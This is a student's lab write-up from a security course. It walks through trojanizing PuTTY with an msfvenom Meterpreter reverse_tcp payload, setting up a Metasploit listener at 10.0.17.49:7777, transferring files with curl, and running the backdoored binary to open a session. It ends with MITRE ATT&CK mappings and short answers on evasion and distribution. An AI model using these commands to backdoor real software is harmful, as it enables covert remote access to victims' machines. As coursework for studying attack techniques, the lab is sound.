😱Main DOC 😱

🌲Steps🌲

🌹Windows🌹

⚡1. Download several legitimate Windows executables you would use regularly (e.g., PuTTY, WinSCP, or apps from PortableApps.com)⚡

🌹On Kali🌹

⚡1.5 prep kali for transfer⚡

• cd ~/Desktop
• pip3 install uploadserver --break-system-packages
• python3 -m uploadserver 8000

My screenshot is incorrect, it is showing http.server rather than uploadserver

---

🌹Windows VM🌹

⚡1.75 Transfer to C2 machine⚡

• curl.exe -X POST http://10.0.17.49:8000/upload -F "files=@C:\Users\champuser\Desktop\putty.exe"

---

---

⚡ 2. Locate a resource on backdooring EXE files with msfvenom to understand the technique⚡

• Backdooring EXE Files

⚡3. Use msfvenom to embed a Meterpreter payload into the executable⚡

• Use msfvenom to inject a meterpreter reverse payload into our executable, encode it three times using shikata_ga_nai and save the backdoored file into our webroot directory.
  • msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.17.49 LPORT=7777 -f exe -x ~/Desktop/putty.exe -k -o ~/Desktop/putty_bd.exe

⚡4. Set up your Metasploit listener to receive the connection⚡

• Since we have selected a reverse meterpreter payload, we need to setup the exploit handler to handle the connection back to our attacking machine.
  • msf > use exploit/multi/handler
  • msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
  • msf exploit(handler) > set LHOST 10.0.17.49
  • msf exploit(handler) > set LPORT 7777
  • msf exploit(handler) > exploit -j

🌹Windows🌹

⚡5. Execute the backdoored program on your Windows 10 VM⚡

• Curl it to your Windows machine:
  • curl.exe http://10.0.17.49:8000/putty_bd.exe -o putty_bd.exe
• Execute the backdoored putty:
  • .\putty_bd.exe

---

⚡6. Verify that a Meterpreter session is established⚡

• On your kali VM type sessions in the meterpreter session so you can verify the session is active and working.

---

💯Submission 💯

• Submit a video showing:

  • the Metasploit commands used to embed the payload,
  • the Meterpreter session being established when executing the backdoored program,
  • the original program still functions correctly (for example, if you backdoor putty, then show that it can still connect to an SSH server).
  • an explanation of how this technique achieves persistence and evasion, and
  • the MITRE ATT&CK technique ID.

• MITRE ATT&CK technique ID:

Step	Technique	MITRE ATT&CK ID
Trojanized legitimate software	Compromise Software Supply Chain	T1195.002
Binary padding/injection	Obfuscated Files: Binary Padding	T1027.001
Backdoor via legitimate software	Compromise Host Software Binary	T1554
Reverse shell callback	Non-Standard Port	T1571

❓Questions to Answer❓

1. Why is it difficult for antivirus software to detect backdoored executables?
   • It is difficult for antivirus software to detect backdoored executables because they blend very seamlessly into the real programs used. In this task, we see how easy it was for us to create a fake putty file that executes our malicious code on the target computer.
2. How could an attacker distribute a backdoored executable at scale?
   • An attacker could distribute a backdoored executable at scale by using a technique called Search Engine Optimization (SEO) poisoning. This attack is occurs when a hacker manipulates search engine results so that malicious websites are pushed to the top of the page.
3. What is the risk of using unsigned or unverified software from third-party sources?
   • The risk of using unsigned or unverified software from third party sources is that your device could be exposed to malicious executables, malware, viruses, and a lot of nasty things that could harm your device.